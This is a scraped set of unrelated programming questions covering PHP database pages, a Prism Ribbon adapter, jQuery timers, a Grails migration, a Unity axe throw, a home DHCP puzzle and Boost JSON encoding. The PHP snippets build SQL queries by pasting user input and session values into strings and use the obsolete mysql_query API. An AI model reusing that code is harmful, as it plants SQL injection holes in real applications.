<p>I have a training matrix/Tracking website I am working on. I have the drop-down populated from the database from a different table. I was able to display table data from another two tables referencing the user id displaying the name of the user at the top and then a table with all training completed underneath.</p> <p>I have got the dropdown working but I am struggling to get the database to pull data into a table using the id set in the dropdown box.</p> <pre><code>&lt;?php error_reporting(E_ALL); ini_set('display_errors', 1); // We need to use sessions, so you should always start sessions using the below code. session_start(); // If the user is not logged in redirect to the login page... if (!isset($_SESSION['loggedin'])) { header('Location: index.html'); exit(); } ?&gt; &lt;?php include ("templates/header.php"); include ("connect-db.php"); ?&gt; &lt;?php $EmployeeID = $_POST['Get']; $sqlEmployee = "SELECT EmployeeID, EName FROM employee ORDER BY EName"; $stmtEmployee = $dbCon-&gt;prepare($sqlEmployee); $arrEmployee = array(); $stmtEmployee-&gt;bindValue(':EmployeeID', $EmployeeID); if ($stmtEmployee-&gt;execute()) { $arrEmployee = $stmtEmployee-&gt;fetchAll(PDO::FETCH_ASSOC); } if (!isset($_POST['EmployeeID'])) { $sql = "SELECT * FROM employee"; $stmtTable = $dbCon-&gt;prepare($sql); $stmtTable-&gt;execute(); } ?&gt; &lt;center&gt; &lt;form action="search.php" method="post"&gt; &lt;label for="EmployeeID"&gt;Employee&lt;/label&gt; &lt;select name="EmployeeID" id="EmployeeID"&gt; &lt;?php for($i=0;$i&lt;count($arrEmployee);$i++) { $row = $arrEmployee[$i]; ?&gt; &lt;option value="&lt;?= $row['EmployeeID'] ?&gt;" &lt;?php echo "Selected='selected'"?&gt; &gt;&lt;?= $row['EName'] ?&gt;&lt;/option&gt; &lt;?php } ?&gt; &lt;/select&gt; &lt;input type="submit" name="Get" value="Add New Record"&gt;&lt;/button&gt; &lt;/center&gt; &lt;?php echo "&lt;table border='1'&gt; &lt;tr&gt; &lt;th&gt;Name&lt;/th&gt; &lt;th&gt;Home&lt;/th&gt; &lt;th&gt;Shift&lt;/th&gt; &lt;th&gt;Start Date&lt;/th&gt; &lt;/tr&gt;"; while ($rowTable = $stmtTable-&gt;fetch($sql)) { echo "&lt;tr&gt;"; echo "&lt;td&gt;" . $rowTable['EName'] . "&lt;/td&gt;"; echo "&lt;td&gt;" . $rowTable['HomeBase'] . "&lt;/td&gt;"; echo "&lt;td&gt;" . $rowTable['Shift'] . "&lt;/td&gt;"; echo "&lt;td&gt;" . $rowTable['StartDate'] . "&lt;/td&gt;"; echo "&lt;/tr&gt;"; } echo "&lt;/table&gt;"; $stmtTable=Null ?&gt; &lt;?php include ("templates/footer.php"); ?&gt; </code></pre> <p>I am getting an error where it doesn't get the variable. I know how to join databases but struggling to get a simple name shift startdate data.</p> <p>New Code After Updates</p> <pre><code>&lt;?php error_reporting(E_ALL); ini_set('display_errors', 1); // We need to use sessions, so you should always start sessions using the below code. session_start(); // If the user is not logged in redirect to the login page... if (!isset($_SESSION['loggedin'])) { header('Location: index.html'); exit(); } //includes for page include ("templates/header.php"); include ("connect-db.php"); // This one below is for the dropdown box to populate the user name $EmployeeID = $_POST['EmployeeID']; //changed this to EMployeeID from Get $sqlEmployee = "SELECT EmployeeID, EName FROM employee ORDER BY EName"; $stmtEmployee = $dbCon-&gt;prepare($sqlEmployee); $stmtEmployee-&gt;bindValue(':EmployeeID', $EmployeeID); $arrEmployee = array(); if ($stmtEmployee-&gt;execute()) { $arrEmployee = $stmtEmployee-&gt;fetchAll(PDO::FETCH_ASSOC); } ?&gt; &lt;center&gt; &lt;form action="search.php" method="post"&gt; &lt;label for="EmployeeID"&gt;Employee&lt;/label&gt; &lt;select name="EmployeeID" id="EmployeeID"&gt; &lt;?php //this is a dropdown box for the top of the page to be able to select user to display data on for($i=0;$i&lt;count($arrEmployee);$i++) { $row = $arrEmployee[$i]; echo '&lt;option value="' . $row['EmployeeID'] . '"&gt;' . $row['EName'] . '&lt;/option&gt;'; } ?&gt; &lt;/select&gt; &lt;button type="submit" name="Get"&gt;Get&lt;/button&gt; &lt;/form&gt; &lt;/center&gt; &lt;table border='1'&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;Name&lt;/th&gt; &lt;th&gt;Home&lt;/th&gt; &lt;th&gt;Shift&lt;/th&gt; &lt;th&gt;Start Date&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;?php //this is for the data in the table to be populated using the dropdown as the source for the id to display the user data ect. if (!isset($_POST['EmployeeID'])) { $sql = "SELECT * FROM employee Where EmployeeID = $EmployeeID"; $stmtTable = $dbCon-&gt;prepare($sql); $stmtTable-&gt;execute(); while ($rowTable = $stmtTable-&gt;fetch()) { echo "&lt;tr&gt;"; echo "&lt;td&gt;" . $rowTable['EName'] . "&lt;/td&gt;"; echo "&lt;td&gt;" . $rowTable['HomeBase'] . "&lt;/td&gt;"; echo "&lt;td&gt;" . $rowTable['Shift'] . "&lt;/td&gt;"; echo "&lt;td&gt;" . $rowTable['StartDate'] . "&lt;/td&gt;"; echo "&lt;/tr&gt;"; } } else { echo '&lt;tr&gt;&lt;td colspan="4"&gt;No records found&lt;/td&gt;'; } ?&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;?php include ("templates/footer.php"); ?&gt; </code></pre> <p><strong>Update 2</strong> By Changing the if (!isset($_POST['EmployeeID'])) to if (isset($_POST['EmployeeID'])) this made the page work but i still get the error "Notice: Undefined index: EmployeeID in C:\UniServerZ\www\search.php on line 19" when first loading the page but after clicking a name this goes away.</p>
3
2,646
Adding data to table on registration
<p>Ok so im in the middle of making a pokemon browser based game, and im having trouble making it so when a user registers to my site, they gain a starter pokemon that they choose. I have it all working except for the part where it gives the user the pokemon, right now it enters the pokemon into the database but it does not give the pokemon to the user who registers it leaves the belongsto field empty. kinda hard for me to explain.</p> <p>Here is the part of my code that enters the data to the table that stores all users pokemon.</p> <pre><code>&lt;?php if ($_POST['starter'] == '1' ) { mysql_query("INSERT INTO user_pokemon (pokemon, belongsto, exp, time_stamp, slot, level,type) VALUES('Bulbasaur','".$_SESSION['username']."', 100,'".time()."','1' ,'5','Normal' ) ") or die(mysql_error()); } if ($_POST['starter'] == '2' ) { mysql_query("INSERT INTO user_pokemon (pokemon, belongsto, exp, time_stamp, slot, level,type) VALUES('Charmander','".$_SESSION['username']."', 100,'".time()."','1' ,'5','Normal' ) ") or die(mysql_error()); } if ($_POST['starter'] == '3' ) { mysql_query("INSERT INTO user_pokemon (pokemon, belongsto, exp, time_stamp, slot, level,type) VALUES('Squirtle','".$_SESSION['username']."', 100,'".time()."','1' ,'5','Normal' ) ") or die(mysql_error()); } if ($_POST['starter'] == '4' ) { mysql_query("INSERT INTO user_pokemon (pokemon, belongsto, exp, time_stamp, slot, level,type) VALUES('Chikorita','".$_SESSION['username']."', 100,'".time()."','1' ,'5','Normal' ) ") or die(mysql_error()); } if ($_POST['starter'] == '5' ) { mysql_query("INSERT INTO user_pokemon (pokemon, belongsto, exp, time_stamp, slot, level,type) VALUES('Cyndaquil','".$_SESSION['username']."', 100,'".time()."','1' ,'5','Normal' ) ") or die(mysql_error()); } if ($_POST['starter'] == '6' ) { mysql_query("INSERT INTO user_pokemon (pokemon, belongsto, exp, time_stamp, slot, level,type) VALUES('Totodile','".$_SESSION['username']."', 100,'".time()."','1' ,'5','Normal' ) ") or die(mysql_error()); } if ($_POST['starter'] == '7' ) { mysql_query("INSERT INTO user_pokemon (pokemon, belongsto, exp, time_stamp, slot, level,type) VALUES('Treecko','".$_SESSION['username']."', 100,'".time()."','1' ,'5','Normal' ) ") or die(mysql_error()); } if ($_POST['starter'] == '8' ) { mysql_query("INSERT INTO user_pokemon (pokemon, belongsto, exp, time_stamp, slot, level,type) VALUES('Torchic','".$_SESSION['username']."', 100,'".time()."','1' ,'5','Normal' ) ") or die(mysql_error()); } if ($_POST['starter'] == '9' ) { mysql_query("INSERT INTO user_pokemon (pokemon, belongsto, exp, time_stamp, slot, level,type) VALUES('Mudkip','".$_SESSION['username']."', 100,'".time()."','1' ,'5','Normal' ) ") or die(mysql_error()); } if ($_POST['starter'] == '10' ) { mysql_query("INSERT INTO user_pokemon (pokemon, belongsto, exp, time_stamp, slot, level,type) VALUES('Turtwig','".$_SESSION['username']."', 100,'".time()."','1' ,'5','Normal' ) ") or die(mysql_error()); } if ($_POST['starter'] == '11' ) { mysql_query("INSERT INTO user_pokemon (pokemon, belongsto, exp, time_stamp, slot, level,type) VALUES('Chimchar','".$_SESSION['username']."', 100,'".time()."','1' ,'5','Normal' ) ") or die(mysql_error()); } if ($_POST['starter'] == '12' ) { mysql_query("INSERT INTO user_pokemon (pokemon, belongsto, exp, time_stamp, slot, level,type) VALUES('Piplup','".$_SESSION['username']."', 100,'".time()."','1' ,'5','Normal' ) ") or die(mysql_error()); } ?&gt; </code></pre> <p>The thing that I can't figure out is how to make it so it takes the name that the user is registering with and puts it in place of .$_SESSION['username']. I know that won't work because the person isn't signed in yet because they are still registering.</p> <p>Here is my form.</p> <pre><code>&lt;form action="" method="post"&gt; &lt;div align="center"&gt; &lt;ul&gt; &lt;p&gt;&lt;/p&gt; Username* &lt;br&gt; &lt;input type="text" name="username"&gt; &lt;p&gt;&lt;/p&gt; Password*&lt;br&gt; &lt;input type="password" name="password"&gt; &lt;p&gt;&lt;/p&gt; Password again*&lt;br&gt; &lt;input type="password" name="password_again"&gt; &lt;p&gt;&lt;/p&gt; First name&lt;br&gt; &lt;input type="text" name="first_name"&gt; &lt;p&gt;&lt;/p&gt; Last name&lt;br&gt; &lt;input type="text" name="last_name"&gt; &lt;p&gt;&lt;/p&gt; Email*&lt;br&gt; &lt;input type="text" name="email"&gt; &lt;p&gt;&lt;/p&gt; Starter*&lt;br&gt; &lt;select name="starter" id="" &gt; &lt;option value="1"&gt;Bulbasaur&lt;/option&gt; &lt;option value="2"&gt;Charmander&lt;/option&gt; &lt;option value="3"&gt;Squirtle&lt;/option&gt; &lt;option value="4"&gt;Chikorita&lt;/option&gt; &lt;option value="5"&gt;Cyndaquil&lt;/option&gt; &lt;option value="6"&gt;Totodile&lt;/option&gt; &lt;option value="7"&gt;Treecko&lt;/option&gt; &lt;option value="8"&gt;Torchic&lt;/option&gt; &lt;option value="9"&gt;Mudkip&lt;/option&gt; &lt;option value="10"&gt;Turtwig&lt;/option&gt; &lt;option value="11"&gt;Chimchar&lt;/option&gt; &lt;option value="12"&gt;Piplup&lt;/option&gt; &lt;/select&gt; &lt;p&gt;&lt;/p&gt; &lt;input type="submit" value="Register"&gt; &lt;/ul&gt; &lt;/div&gt; &lt;ul&gt; &lt;/ul&gt; &lt;/form&gt; </code></pre> <p>Im sorry for the giant question but any help would be greatly appreciated :)</p>
3
2,681
Inject / Navigate RibbonTabItems depending on selected / loaded module
<p>I have got following problem:</p> <p>There is a Ribbon-region in the Shell, let´s call it the "ShellRibbonRegion". There is also a task button region "ShellTaskButtonRegion" (<a href="http://www.codeproject.com/Articles/165370/Creating-View-Switching-Applications-with-Prism-4" rel="nofollow">similar to Creating View-Switching Applications with Prism 4</a>).</p> <p>There are e.g. three modules. Each module has a different number of RibbonTabItems. Module 1 has one RibbonTabItem, module 2 four and module 3 one.</p> <p>The goal is now to add the RibbonTabItems to the "ShellRibbonRegion" after the "TaskButton" of a module is clicked. I already have written a custom RegionAdapter, but the problem is either only one RibbonTabItem (SingleActiveRegion) is shown or all (AllActiveRegion) RibbonTabItems from all modules.</p> <pre><code>public class RibbonRegionAdapter : RegionAdapterBase&lt;Ribbon&gt; { /// &lt;summary&gt; /// Default constructor. /// &lt;/summary&gt; /// &lt;param name="behaviorFactory"&gt;Allows the registration of the default set of RegionBehaviors.&lt;/param&gt; public RibbonRegionAdapter(IRegionBehaviorFactory behaviorFactory) : base(behaviorFactory) { } /// &lt;summary&gt; /// Adapts a WPF control to serve as a Prism IRegion. /// &lt;/summary&gt; /// &lt;param name="region"&gt;The new region being used.&lt;/param&gt; /// &lt;param name="regionTarget"&gt;The WPF control to adapt.&lt;/param&gt; protected override void Adapt(IRegion region, Ribbon regionTarget) { regionTarget.SelectedTabChanged += (sender, args) =&gt; { if (regionTarget.SelectedTabItem == null) return; //region.Activate(regionTarget.SelectedTabItem); }; region.Views.CollectionChanged += (sender, e) =&gt; { switch (e.Action) { case NotifyCollectionChangedAction.Add: foreach (UIElement element in e.NewItems) { if(element is Ribbon) this.AddRibbon(element as Ribbon, regionTarget, region); else if(element is RibbonTabItem) this.AddRibbonTabItem(element as RibbonTabItem, regionTarget, region); else if(element is Backstage) this.AddBackstage(element as Backstage, regionTarget); } break; case NotifyCollectionChangedAction.Remove: foreach (UIElement elementLoopVariable in e.OldItems) { var element = elementLoopVariable; if (element is Ribbon) this.RemoveRibbon(element as Ribbon, regionTarget); else if (element is RibbonTabItem) this.RemoveRibbonTabItem(element as RibbonTabItem, regionTarget); else if (element is Backstage) this.RemoveBackstage(element as Backstage, regionTarget); } break; } }; } #region Add private void AddRibbon(Ribbon ribbon, Ribbon targetRibbon, IRegion region) { //Add tabs foreach (var ribbonTabItem in ribbon.Tabs) { this.AddRibbonTabItem(ribbonTabItem, targetRibbon, region); } } private void AddRibbonTabItem(RibbonTabItem ribbonTabItem, Ribbon targetRibbon, IRegion region) { if (!targetRibbon.Tabs.Contains(ribbonTabItem)) targetRibbon.Tabs.Add(ribbonTabItem); } private void AddBackstage(Backstage backstage, Ribbon targetRibbon) { } #endregion #region Remove private void RemoveRibbon(Ribbon ribbon, Ribbon targetRibbon) { var tmp = new List&lt;RibbonTabItem&gt;(ribbon.Tabs); //Add tabs foreach (var ribbonTabItem in tmp) { if (targetRibbon.Tabs.Contains(ribbonTabItem)) this.RemoveRibbonTabItem(ribbonTabItem, targetRibbon); } } private void RemoveRibbonTabItem(RibbonTabItem ribbonTabItem, Ribbon targetRibbon) { if (ribbonTabItem is IRegionMemberLifetime) { var rml = (IRegionMemberLifetime)ribbonTabItem; if (!rml.KeepAlive) targetRibbon.Tabs.Remove(ribbonTabItem); return; } targetRibbon.Tabs.Remove(ribbonTabItem); } private void RemoveBackstage(Backstage backstage, Ribbon targetRibbon) { } #endregion protected override IRegion CreateRegion() { return new AllActiveRegion(); } } </code></pre> <p>The desired behaviour is following:</p> <p>The "TaskButton" of a module is clicked: All RibbonTabItems which don´t belong to this module are removed from the region and the tab items from "clicked" module are added. </p> <p>How can I achieve this behaviour?</p>
3
2,219
Creating javascript objects using jQuery's each() method
<p>Im curious about what might be a larger question than I think. </p> <p>I am using the following code to listen for 'keyup' on a group of text input fields. If the user stops typing for a given amount of time, I send the data to a controller using AJAX. </p> <p>I decided to try my hand at OOP in javascript to accomplish this. This is because I want a new instance of the timer method for each input field. (To be absolutely clear, Im very new to OOP in javascript so this might be dreadful. Let me know.)</p> <p>Here is the main class with its methods:</p> <pre><code> function FieldListener(entity){ t = this; t.typingTimer; // Timer identifier t.doneTypingInterval = 1000; // Time in ms. e.g.; 5000 = 5secs t.entity = entity; entity.bind("keyup", function(){t.setTimer();}); } FieldListener.prototype.setTimer = function(){ t = this; // User is still typing, so clear the timer. clearTimeout(t.typingTimer); // Get the field name, e.g.; 'username' t.entityType = t.entity.attr("name"); // If the value is empty, set it to a single space. if(!(t.val = t.entity.val())){ t.val = ' '; } t.noticeSpan = t.entity.siblings("span"); // Display 'waiting' notice to user. t.noticeSpan.html('...') t.typingTimer = setTimeout(function(){t.doneTyping();},t.doneTypingInterval); } FieldListener.prototype.doneTyping = function(){ // Encode for passing to ajax route. t = this; valueType = encodeURIComponent(t.entityType); value = encodeURIComponent(t.val); $.ajax({ url: '/check/'+valueType+'/'+value, type: 'GET', processData: false }) .done(function(validationMessage){ t.noticeSpan.html(validationMessage); }) .fail(function(){ t.noticeSpan.html("Something went wrong. Please try again."); }); } </code></pre> <p>So from here I'd like to be able to create an object of the FieldListener class for every input field.</p> <p>I know I can do it easily if I have an id for each like so:</p> <pre><code> var fieldListener = new FieldListener($("#someFieldID")); </code></pre> <p>But I'd like to iterate over every field with a given class name. Something close to this perhaps?:</p> <pre><code> i = 0; $(".info-field").each(function(){ i = new FieldListener($(this)); }); </code></pre> <p>But that doesn't work (and doesn't look very nice).</p> <p>Any thoughts? (Im also curious about critiques/improvements to the class/methods code as well.)</p> <p>edit: As per @ChrisHerring's question: The issue is that it seems to create the object but only for the last element in the each() method. So the span associated with the last input field with the class '.info-field' displays the validationMessage returned from AJAX regardless of which field I am typing in. </p> <p>UPDATE:</p> <p>It seems like something is wrong with the creation of new objects. For example, if, rather than iterating through the each() method, I simply follow one class initiation with another, like so:</p> <pre><code> var fieldListener1 = new FieldListener($("#someFieldID")); var fieldListener2 = new FieldListener($("#someOtherFieldID")); </code></pre> <p>that fieldListener2 overwrites variables being saved when initiating fieldListener1. This means that when I type into the input field with id "#someFieldID", it behaves as if I am typing into the input field with id "#someOtherFieldID". Thoughts?</p> <p>UPDATE #2 (solved for now):</p> <p>It seems that I have solved the issue for now. I needed to add 'var' before 't = this;' in the FieldListener class. Any comments/critiques are still welcome of course. ;)</p>
3
1,324
Grails: Hibernate and Data migrations
<p>I have a domain class that is for a customer. I have had to change to domain class recently because we were gathering a billing address and a shipping address, but were only recording one zip code value. So I thought what a simple fix. Change zipcode to billzipcode and then create a new field for shipzipcode. I ran dbm-gorm-diff to create the change log and then ran dbm-update to execute the changes I've made. Everything to this point works swimmingly. But then I go to debug the app to see that the changes to datasource were ok. However, now when I try to save a new customer record it get this error:</p> <pre><code> NULL not allowed for column "ZIPCODE"; SQL statement: insert into customer (id, version, billaddr, billcity, billstate, billzipcode, cell, contact, country_id, custcode, custname, date_created, email, fax, last_updated, organization, phone, shipaddr, shipasbill, shipcity, shipstate, shipzipcode, status, tenant_id) values (null, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) [23502-164]. Stacktrace follows: org.h2.jdbc.JdbcSQLException: NULL not allowed for column "ZIPCODE"; SQL statement: insert into customer (id, version, billaddr, billcity, billstate, billzipcode, cell, contact, country_id, custcode, custname, date_created, email, fax, last_updated, organization, phone, shipaddr, shipasbill, shipcity, shipstate, shipzipcode, status, tenant_id) values (null, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) [23502-164] at org.h2.message.DbException.getJdbcSQLException(DbException.java:329) at org.h2.message.DbException.get(DbException.java:169) at org.h2.message.DbException.get(DbException.java:146) at org.h2.table.Column.validateConvertUpdateSequence(Column.java:293) at org.h2.table.Table.validateConvertUpdateSequence(Table.java:680) at org.h2.command.dml.Insert.insertRows(Insert.java:120) at org.h2.command.dml.Insert.update(Insert.java:84) at org.h2.command.CommandContainer.update(CommandContainer.java:73) at org.h2.command.Command.executeUpdate(Command.java:226) at org.h2.jdbc.JdbcPreparedStatement.executeUpdateInternal(JdbcPreparedStatement.java:143) at org.h2.jdbc.JdbcPreparedStatement.executeUpdate(JdbcPreparedStatement.java:129) at org.apache.commons.dbcp.DelegatingPreparedStatement.executeUpdate(DelegatingPreparedStatement.java:105) at com.companyName.appname.billing.CustomerController$_closure6.doCall(CustomerController.groovy:45) at grails.plugin.multitenant.core.servlet.CurrentTenantServletFilter.doFilter(CurrentTenantServletFilter.java:53) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1110) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:603) at java.lang.Thread.run(Thread.java:722) </code></pre> <p>I'm at a loss because the ZIPCODE column is not longer in the domain class. Any guidance would be appreciated.</p> <p>EDIT: per request here are the changes that were generated by the migrations plugin:</p> <pre><code>changeSet(author: "user (generated)", id: "1363806498118-1") { dropColumn(tableName: "admission", columnName: "pen") addColumn(tableName: "admission") { column(name:"pen_id", type:"bigint") } } changeSet(author: "user (generated)", id: "1363806498118-2") { addColumn(tableName: "customer") { column(name: "billzipcode", type: "varchar(50)") { constraints(nullable: "false") } } } changeSet(author: "user (generated)", id: "1363806498118-3") { addColumn(tableName: "customer") { column(name: "shipzipcode", type: "varchar(50)") { constraints(nullable: "false") } } } changeSet(author: "user (generated)", id: "1363806498118-4") { addColumn(tableName: "customer_costs") { column(name: "subtotal", type: "float(19)") { constraints(nullable: "false") } } } changeSet(author: "user (generated)", id: "1363806498118-5") { addForeignKeyConstraint(baseColumnNames: "pen_id", baseTableName: "admission", constraintName: "FK1A21809D0C6EF15", deferrable: "false", initiallyDeferred: "false", referencedColumnNames: "id", referencedTableName: "pen", referencesUniqueColumn: "false") } changeSet(author: "user (generated)", id: "1363806498118-6") { dropColumn(columnName: "zipcode", tableName: "customer") } </code></pre>
3
1,622
how to make a axe throw and return sistem in unity
<p>guys,</p> <p>so, i'm trying to make a game similar to the god of war in the unit, but i don't know how to make the ax return dynamically, eustou trying to make it come back without problems, but i still couldn't get a satisfactory result, i'm using an Animation to make the ax rotates and when it gets close enough to the player, the script deactivates the Animator and a Quaternion.Slerp Corrects the rotation of the ax, This is the code:</p> <pre><code>using System.Collections; using System.Collections.Generic; using UnityEngine; public class AxeController : MonoBehaviour { // The axe object public Rigidbody axe; // Amount of force to apply when throwing public float throwForce = 50; // the target; which is the player's hand. public Transform target; // The middle point between the axe and the player's hand, to give it a curve public Transform curve_point; public Transform hand; // Last position of the axe before returning it, to use in the Bezier Quadratic Curve formula private Vector3 old_pos; // Is the axe returning? To update the calculations in the Update method private bool isReturning = false; // Timer to link to the Bezier formual, Beginnning = 0, End = 1 public float time = 0.0f; public float RotationSpeed; public float MinDistance; public float Distance; public bool hasAxe = true; public bool debounce = true; public float gunDelay; [Range (-10,10)] public float TimeReduction; [Range (0.1f , 100)] public float VelocidadeDeAjuste; // Update is called once per frame void Update () { Distance = Vector3.Distance(target.position, axe.transform.position); // When the user/player hits the mouse left button if (Input.GetButtonUp(&quot;Fire1&quot;) &amp;&amp; hasAxe == true &amp;&amp; debounce == true) { ThrowAxe(); debounce = false; Invoke(&quot;debouncer&quot; , gunDelay); } // When the user/player hits the mouse right button if (Input.GetButtonUp(&quot;Fire1&quot;) &amp;&amp; hasAxe == false &amp;&amp; debounce == true) { ReturnAxe(); debounce = false; Invoke(&quot;debouncer&quot; , gunDelay); } // If the axe is returning if(isReturning){ // Returning calcs // Check if we haven't reached the end point, where time = 1 if(time &lt; 1.0f){ // Update its position by using the Bezier formula based on the current time axe.position = getBQCPoint(time, old_pos, curve_point.position, target.position); // Reset its rotation (from current to the targets rotation) with 50 units/s if (Distance &gt; MinDistance) { //axe.transform.localEulerAngles += Vector3.forward * Time.deltaTime; Debug.Log(&quot;Nao Esta Distancia&quot;); } if (Distance &lt;= MinDistance) { axe.rotation = Quaternion.Slerp(axe.transform.rotation, target.rotation,Time.deltaTime * (time * VelocidadeDeAjuste)); axe.GetComponent&lt;Animator&gt;().enabled = false; Debug.Log(&quot;Em Distancia&quot;); } else { axe.GetComponent&lt;Animator&gt;().enabled = true; } // Increase our timer, if you want the axe to return faster, then increase &quot;time&quot; more // With something like: // time += Timde.deltaTime * 2; // It will return as twice as fast time += Time.deltaTime/TimeReduction; }else{ // Otherwise, if it is 1 or more, we reached the target so reset ResetAxe(); } } } // Throw axe void ThrowAxe(){ // The axe isn't returning isReturning = false; hasAxe = false; // Deatach it form its parent axe.transform.parent = null; // Set isKinematic to false, so we can apply force to it axe.isKinematic = false; // Add force to the forward axis of the camera // We used TransformDirection to conver the axis from local to world axe.AddForce(Camera.main.transform.TransformDirection(Vector3.forward) * throwForce, ForceMode.Impulse); // Add torque to the axe, to give it much cooler effect (rotating) axe.AddTorque(axe.transform.TransformDirection(Vector3.forward) * RotationSpeed, ForceMode.Impulse); axe.transform.GetComponent&lt;AxeWeapon&gt;().Retornando = false; } // Return axe void ReturnAxe(){ // We are returning the axe; so it is in its first point where time = 0 time = 0.0f; // Save its last position to refer to it in the Bezier formula old_pos = axe.position; // Now we are returning the axe, to start the calculations in the Update method isReturning = true; // Reset its velocity axe.velocity = Vector3.zero; // Set isKinematic to true, so now we control its position directly without being affected by force axe.isKinematic = true; axe.AddTorque(axe.transform.TransformDirection(Vector3.forward * -1) * RotationSpeed, ForceMode.Impulse); axe.transform.GetComponent&lt;AxeWeapon&gt;().Retornando = true; } // Reset axe void ResetAxe(){ // Axe has reached, so it is not returning anymore isReturning = false; // Attach back to its parent, in this case it will attach it to the player (or where you attached the script to) axe.transform.parent = transform; // Set its position to the target's axe.position = target.position; // Set its rotation to the target's axe.rotation = target.rotation; hasAxe = true; axe.transform.GetComponent&lt;AxeWeapon&gt;().Retornando = false; } // Bezier Quadratic Curve formula // Learn more: // https://en.wikipedia.org/wiki/B%C3%A9zier_curve Vector3 getBQCPoint(float t, Vector3 p0, Vector3 p1, Vector3 p2){ // &quot;t&quot; is always between 0 and 1, so &quot;u&quot; is other side of t // If &quot;t&quot; is 1, then &quot;u&quot; is 0 float u = 1 - t; // &quot;t&quot; square float tt = t * t; // &quot;u&quot; square float uu = u * u; // this is the formula in one line // (u^2 * p0) + (2 * u * t * p1) + (t^2 * p2) Vector3 p = (uu * p0) + (2 * u * t * p1) + (tt * p2); return p; } void debouncer() { debounce = true; } } enter code here </code></pre> <p>I currently have this:</p> <p><a href="https://youtu.be/cEYYnGo-4dg" rel="nofollow noreferrer">https://youtu.be/cEYYnGo-4dg</a></p>
3
2,915
DHCP Issue on home network
<p>I have an issue on my home office network - I'm not a networking expert in any way but I have a home network with a Samba NAS and an internal webserver for testing websites (my main role). The PlusNet router is putting out DHCP in the range 192.168.1.100-199. Servers are fixed IP. Client machines are picking up DHCP in the range 192.168.10.100- 200 with a default gateway of 192.168.10.1 - no devices on the network have this IP address and I cannot work out where this device is.</p> <pre><code>Wireless LAN adapter WiFi: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : 802.11n USB Wireless LAN Card Physical Address. . . . . . . . . : 00-36-76-01-70-01 DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes Link-local IPv6 Address . . . . . : fe80::495c:e9ba:9e2d:607c%13(Preferred) IPv4 Address. . . . . . . . . . . : 192.168.10.126(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.255.0 Lease Obtained. . . . . . . . . . : 14 December 2021 10:21:17 Lease Expires . . . . . . . . . . : 15 December 2021 10:21:16 Default Gateway . . . . . . . . . : 192.168.10.1 DHCP Server . . . . . . . . . . . : 192.168.10.1 DHCPv6 IAID . . . . . . . . . . . : 738211446 DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-21-AC-DD-3C-A4-BA-DB-FE-C9-98 DNS Servers . . . . . . . . . . . : 192.168.10.1 8.8.8.8 114.114.114.114 NetBIOS over Tcpip. . . . . . . . : Enabled </code></pre> <p>Looking a the arp -a results I get:</p> <pre><code>Interface: 192.168.10.126 --- 0xd (Wifi on my PC) Internet Address Physical Address Type 192.168.1.7 d4-5d-64-ef-85-85 dynamic (My PC) 192.168.10.104 00-0b-82-41-14-e3 dynamic (Grandstand IP Phone) 192.168.10.113 00-f3-61-8e-f8-21 dynamic (The Alexa) 192.168.10.129 86-5f-83-17-ff-25 dynamic 192.168.10.255 ff-ff-ff-ff-ff-ff static 224.0.0.22 01-00-5e-00-00-16 static 226.178.217.5 01-00-5e-32-d9-05 static 239.255.255.253 01-00-5e-7f-ff-fd static 255.255.255.255 ff-ff-ff-ff-ff-ff static </code></pre> <p>I have started experimenting with SMART home - with Alexa and some bulbs but I cannot get Alexa to connect either - I don't think this is the problem though as when I unplug the Alexa the problem remains.</p> <p>Any thoughts?</p> <p>Thanks</p> <p>Dave</p>
3
1,114
Encoding does not switch when trying to read json file
<p>I have a json file <code>file.json</code> encoded KOI8-R.</p> <p>Boost Json only works in UTF-8 encoding, so I'm converting the file from KOI8-R to UTF-8:</p> <pre><code>boost::property_tree::ptree tree; std::locale loc = boost::locale::generator().generate(ru_RU.UTF-8); std::ifstream ifs(&quot;file.json&quot;, std::ios::binary); ifs.imbue(loc) boost::property_tree::read_json(ifs, tree); </code></pre> <p>However, the file cannot be read .. What am I doing wrong?</p> <p><strong>UPDATE:</strong></p> <p>I made up a JSON file &quot;test.txt&quot;:</p> <pre><code>{ &quot;соплодие&quot;: &quot;лысеющий&quot;, &quot;обсчитавший&quot;: &quot;перегнавший&quot;, &quot;кариозный&quot;: &quot;отдёргивающийся&quot;, &quot;суверенен&quot;: &quot;носившийся&quot;, &quot;рецидивизм&quot;: &quot;поляризуются&quot; } </code></pre> <p>And saved it in koi8-r.</p> <p>I have a code:</p> <pre><code>#include &lt;boost/property_tree/ptree.hpp&gt; #include &lt;boost/property_tree/json_parser.hpp&gt; int main() { boost::property_tree::ptree pt; boost::property_tree::read_json(&quot;test.txt&quot;, pt); } </code></pre> <p>Compiled, ran and got the following error:</p> <pre><code>terminate called after throwing an instance of 'boost::wrapexcept&lt;boost::property_tree::json_parser::json_parser_error&gt;' what(): test.txt(2): invalid code sequence Aborted (core dumped) </code></pre> <p>Then I use boost locale:</p> <pre><code>#include &lt;boost/property_tree/ptree.hpp&gt; #include &lt;boost/property_tree/json_parser.hpp&gt; #include &lt;boost/locale/generator.hpp&gt; #include &lt;boost/locale/encoding.hpp&gt; int main() { std::locale loc = boost::locale::generator().generate(&quot;ru_RU.utf8&quot;); std::ifstream ifs(&quot;test.txt&quot;, std::ios::binary); ifs.imbue(loc); boost::property_tree::ptree pt; boost::property_tree::read_json(ifs, pt); } </code></pre> <p>Compiled (<code>g++ main.cpp -lboost_locale</code>), ran and got the following error:</p> <pre><code>terminate called after throwing an instance of 'boost::wrapexcept&lt;boost::property_tree::json_parser::json_parser_error&gt;' what(): &lt;unspecified file&gt;(2): invalid code sequence Aborted (core dumped) </code></pre>
3
1,035
How to use LabelBinarizer to one hot encode both train and test correctly
